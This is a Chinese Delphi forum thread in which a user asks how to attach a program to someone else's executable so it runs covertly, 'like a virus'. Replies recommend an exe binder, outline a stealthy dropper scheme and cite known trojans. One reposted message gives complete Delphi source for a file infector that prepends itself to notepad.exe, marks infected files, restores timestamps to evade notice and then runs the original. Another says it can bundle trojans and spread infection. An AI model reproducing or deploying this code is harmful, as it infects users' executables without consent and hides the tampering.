谁会?要求将一个自己写好的程序接到别人的程序后边,然后在别人运行程序是跟着运行?(145分)

  • 主题发起人 主题发起人 duolami
  • 开始时间 开始时间
D

duolami

Unregistered / Unconfirmed
GUEST, unregistred user!
要求将一个自己写好的程序接到别人的程序后边,然后在别人运行程序是跟着运行?<br>可以吗?<br>就像是病毒。
 
我只会把自己的程序加在别人的程序前边,然后替换图标,运行时我的程序先运行,然后别人的<br>程序运行,看起来像是别人的运行。可以吗?
 
to ljbXS,<br>怎么做?别只说不做啊
 
我也想知道
 
你是想些病毒吧?
 
[blue]TO:duolami,<br>用exebind吧这是一个可执行文件捆绑软件,它可以将两个可执行文件捆绑成一个文件,运<br>行时再自动分别执行。 <br>下载地址:[/blue]<br>http://nj.onlinedown.net/EXEBIND.HTM
 
思路:<br>&nbsp; &nbsp; 1)将你的文件插入到他的文件中,难度大,不可行<br>&nbsp; &nbsp; 2)将他的文件插入到你的文件中,简单,受到你的程序的完全控制<br>方案2的思路:你的文件you.exe,他的文件He.exe<br>&nbsp; &nbsp; 1)使用资源文件,将he.exe打包到资源文件中<br>&nbsp; &nbsp; 2)将资源稳健联编进you.exe &nbsp;{$he.res}<br>&nbsp; &nbsp; 3) 运行你的文件,隐藏你的一切表现,然后利用“流”将you.exe中包裹的<br>&nbsp; &nbsp; &nbsp; he.exe 释放出来,使用WinExec运行He.exe<br>&nbsp; &nbsp; 4) 继续干你的好事或者坏事。<br>&nbsp; &nbsp; 如此,就好像你不存在一样,但其实你控制了一切,使用者还以为在运行he.exe呢。
 
我就是想知道难道大的
 
其实你中有我,我中有你,何所谓我嵌入你,你嵌入我!<br>换一种思路,也许十分容易解决你的问题!<br><br>ps: 刚才忘了:将He.xe裹入You.exe后,Erase he.exe,Copy You.exe TO he.exe,<br>&nbsp; Erase You.exe!<br>&nbsp; &nbsp;你说,You.exe还存在吗?<br><br>“冰河”就是这么做的,陈经韬有一篇文章“小议冰河YAI”有介绍。
 
想学难度大的,分析一下CIH就好了。
 
honestman<br><br>你有cih的源码吗?呵呵
 
源码 网上大把,就怕你看不了<br><br>你在 www.google.com 中用 &nbsp;"cih 源代码"<br>搜索一下,好多啊
 
对啊!<br>外面CIH的源代码N多!!!<br>就怕你没能力。
 
就用替换的方法足够了
 
转载:<br><br>问题:文件合并新思路(附完整DELPHI代码),给点掌声... ( 积分:0, 回复:11, 阅读:243 )<br>分类:编程心得 ( 版主:雁孤行, wrench ) &nbsp;<br>来自:111222, 时间:2001-9-28 19:24:00, ID:650325 [显示:小字体 | 大字体] &nbsp;<br>program exe2;<br><br>uses<br>&nbsp; classes,<br>&nbsp; Tlhelp32,<br>&nbsp; windows,<br>&nbsp; SysUtils;<br><br>{$R *.RES}<br>var<br>&nbsp; lppe:TProcessEntry32;<br>&nbsp; found:boolean;<br>&nbsp; handle:THandle;<br>&nbsp; ProcessStr,ExeName:string;<br>&nbsp; WinDir:pchar;<br>const<br>&nbsp; MySize=64000; //根据编译或压缩后的文件大小进行修改<br><br>procedure copy2(s:string);<br>var<br>&nbsp; s1,s2:TMemoryStream;<br>&nbsp; files2:TFilestream;<br>&nbsp; ch:array[0..3] of char;<br>&nbsp; ss:string;<br>&nbsp; filetime,fhandle:integer;<br>begin<br>&nbsp; //若文件s不存在<br>&nbsp; if FileExists(s)=False then exit;<br>&nbsp; try<br>&nbsp; &nbsp; //判断文件s中有没有特殊标记。若有,表示已经合并过<br>&nbsp; &nbsp; //在本程序编译或压缩后,用十六进制软件进行修改,在偏移200处加入标记'IMOK'<br>&nbsp; &nbsp; //用debug也可进行修改(对exe文件,要先更改EXE扩展名)。例:<br>&nbsp; &nbsp; //-e 1C8<br>&nbsp; &nbsp; //127D:01C8 00._ &lt;-键入新的十六进制值<br>&nbsp; &nbsp; //......<br>&nbsp; &nbsp; //-w &lt;-保存文件<br>&nbsp; &nbsp; files2:=TFilestream.Create(s,fmopenread);<br>&nbsp; &nbsp; files2.Position:=200;<br>&nbsp; &nbsp; files2.Read(ch,4);<br>&nbsp; &nbsp; ss:=copy(ch,1,4);<br>&nbsp; &nbsp; files2.Free;<br>&nbsp; &nbsp; if ss='IMOK' then exit;<br>&nbsp; &nbsp; //将本文件与文件s合并 本文件+s=s<br>&nbsp; &nbsp; s2:=TMemoryStream.Create;<br>&nbsp; &nbsp; s2.loadfromfile(ExeName);<br>&nbsp; &nbsp; s1:=TMemoryStream.Create;<br>&nbsp; &nbsp; s1.copyfrom(s2,MySize);<br>&nbsp; &nbsp; s2.clear;<br>&nbsp; &nbsp; s2.loadfromfile(s);<br>&nbsp; &nbsp; s1.seek(s1.size,soFromBeginning);<br>&nbsp; &nbsp; s1.copyfrom(s2,s2.size);<br>&nbsp; &nbsp; s2.free;<br>&nbsp; &nbsp; //得到文件s的日期<br>&nbsp; &nbsp; fhandle:=FileOpen(s, fmOpenread);<br>&nbsp; &nbsp; filetime:=filegetdate(fhandle);<br>&nbsp; &nbsp; fileclose(fhandle);<br>&nbsp; &nbsp; s1.SaveToFile(s);<br>&nbsp; &nbsp; //恢复文件s的日期<br>&nbsp; &nbsp; fhandle:=FileOpen(s, fmOpenwrite);<br>&nbsp; &nbsp; filesetdate(fhandle,filetime);<br>&nbsp; &nbsp; fileclose(fhandle);<br>&nbsp; &nbsp; s1.free;<br>&nbsp; except end;<br>end;<br><br>procedure CreateFileAndRun;<br>var<br>&nbsp; s1,s2:TMemoryStream;<br>&nbsp; TempDir:pchar;<br>&nbsp; cmdstr:string;<br>&nbsp; a:integer;<br>Begin<br>&nbsp; s1:=TMemoryStream.Create;<br>&nbsp; s1.loadfromfile(ExeName);<br>&nbsp; if s1.Size=MySize then<br>&nbsp; begin<br>&nbsp; &nbsp; s1.Free;<br>&nbsp; &nbsp; exit;<br>&nbsp; end;<br>&nbsp; s1.seek(MySize,soFromBeginning);<br>&nbsp; s2:=TMemoryStream.Create;<br>&nbsp; s2.copyfrom(s1,s1.Size-MySize);<br>&nbsp; GetMem(TempDir,255);<br>&nbsp; GetTempPath(255,TempDir);<br>&nbsp; s2.SaveToFile(TempDir+'/'+ExtractFileName(ExeName));<br>&nbsp; cmdstr:='';<br>&nbsp; a:=1;<br>&nbsp; while ParamStr(a)&lt;&gt;'' do begin<br>&nbsp; &nbsp; cmdstr:=cmdstr+ParamStr(a)+' ';<br>&nbsp; &nbsp; inc(a);<br>&nbsp; end;<br>&nbsp; winexec(pchar(TempDir+'/'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);<br>&nbsp; freemem(TempDir);<br>&nbsp; s2.free;<br>&nbsp; s1.free;<br>end;<br><br>begin<br>&nbsp; GetMem(WinDir,255);<br>&nbsp; GetWindowsDirectory(WinDir,255);<br>&nbsp; ExeName:=ParamStr(0);<br>&nbsp; handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);<br>&nbsp; found:=Process32First(handle,lppe);<br>&nbsp; ProcessStr:='';<br>&nbsp; while found do<br>&nbsp; begin<br>&nbsp; &nbsp; ProcessStr:=ProcessStr+lppe.szExeFile;//列出所有进程。<br>&nbsp; &nbsp; found:=Process32Next(handle,lppe);<br>&nbsp; end;<br>&nbsp; if pos(WinDir+'/notepad.exe',ProcessStr)=0 then<br>&nbsp; begin<br>&nbsp; &nbsp; copy2(WinDir+'/notepad.exe');<br>&nbsp; end;<br>&nbsp; {其它需要合并的文件<br>&nbsp; if pos(...,ProcessStr)=0 then<br>&nbsp; begin<br>&nbsp; &nbsp; copy2(...);<br>&nbsp; end;<br>&nbsp; ...<br>&nbsp; }<br>&nbsp; freemem(WinDir);<br>&nbsp; {<br>&nbsp; 你想用这个程序干点其它的什么...<br>&nbsp; }<br>&nbsp; CreateFileAndRun;//释放文件并带参数运行<br>end.<br><br><br>&nbsp;<br>&nbsp;<br>来自:lbsong, 时间:2001-9-28 20:24:00, ID:650393 <br>掌声响起来<br>&nbsp;<br>&nbsp;<br>来自:wsn, 时间:2001-9-28 20:25:00, ID:650396 <br>再啪几下<br><br>[:D]<br>&nbsp;<br>&nbsp;<br>来自:eve, 时间:2001-9-28 20:26:00, ID:650398 <br>啪.....啪.....啪.....啪.....啪.....啪.....啪.....啪.....<br>&nbsp;<br>&nbsp;<br>来自:budware, 时间:2001-9-28 23:14:00, ID:650550 <br>[:D]<br>好<br>&nbsp;<br>&nbsp;<br>来自:cgh0717, 时间:2001-9-29 0:32:00, ID:650605 <br>很久没有看到这么有含量的文件啊,真是太好了。谢谢了。不错,不错喔。<br>说着说着,掌声响就起来了:<br>啪啪啪啪啪啪啪啪.....<br><br>[red](不知是给你的,还是给我的[^])[red]<br>&nbsp;<br>&nbsp;<br><br>&nbsp;<br>&nbsp;<br>来自:111222, 时间:2001-9-29 19:32:00, ID:651875 <br>&nbsp; 要将CreateFileAndRun中的<br>&nbsp; &nbsp; &nbsp;s2.SaveToFile(TempDir+'/'+ExtractFileName(ExeName));<br>&nbsp; 改为<br>&nbsp; try<br>&nbsp; &nbsp; s2.SaveToFile(TempDir+'/'+ExtractFileName(ExeName));<br>&nbsp; except end;<br>&nbsp; 以防建立文件时出错。<br>&nbsp; 在这个程序的基础上,可以很容易将木马与其它程序捆在一起,<br>&nbsp; 可以编写出DELPHI版的有"传染"功能的程序。<br>&nbsp;<br>&nbsp;<br>来自:fanren945, 时间:2001-9-29 20:42:00, ID:651926 <br>领教领教,不错不错,很好很好,掌声掌声[:)]<br>&nbsp;<br>&nbsp;<br>来自:Zoushikun, 时间:2001-11-8 11:28:00, ID:715573 <br>鼓励<br>&nbsp;<br>&nbsp;<br>来自:doxpix, 时间:2001-11-8 12:21:00, ID:715697 <br>呵呵,麻烦解释一下你的新思路新在哪?<br>&nbsp;<br>&nbsp;<br>来自:Town, 时间:2001-11-8 12:43:00, ID:715750 <br>有办法感染正在运行的文件吗?<br>&nbsp;<br>&nbsp;<br>来自:sxzqcyj, 时间:2001-11-8 13:31:00, ID:715895 <br>非常好,收藏!<br>啪……<br><br>&nbsp;<br>&nbsp;<br>
 
啪。。。啪。。。給你兩聲,夠不夠?還要的話繼續免費贈送
 
简单点只要将EXE文件和自己的程序关联即可!一旦调用EXE文件即可触发自己的程序!
 
Hi:大家好!先給各位打個招呼,剛剛小弟碰到一個難題想請各位幫幫忙,<br>我有一個用pascal寫的系統,它的資料全部用dat類型的文件進行存儲,<br>可能是一種接口控制(人為控制),我現在想對此dat文件裡面的資料進行操作<br>(刪除記錄),請問可不可行!拜拖!急!急!急!真的急!
 
to YB_unique<br>如何实现?
 
后退
顶部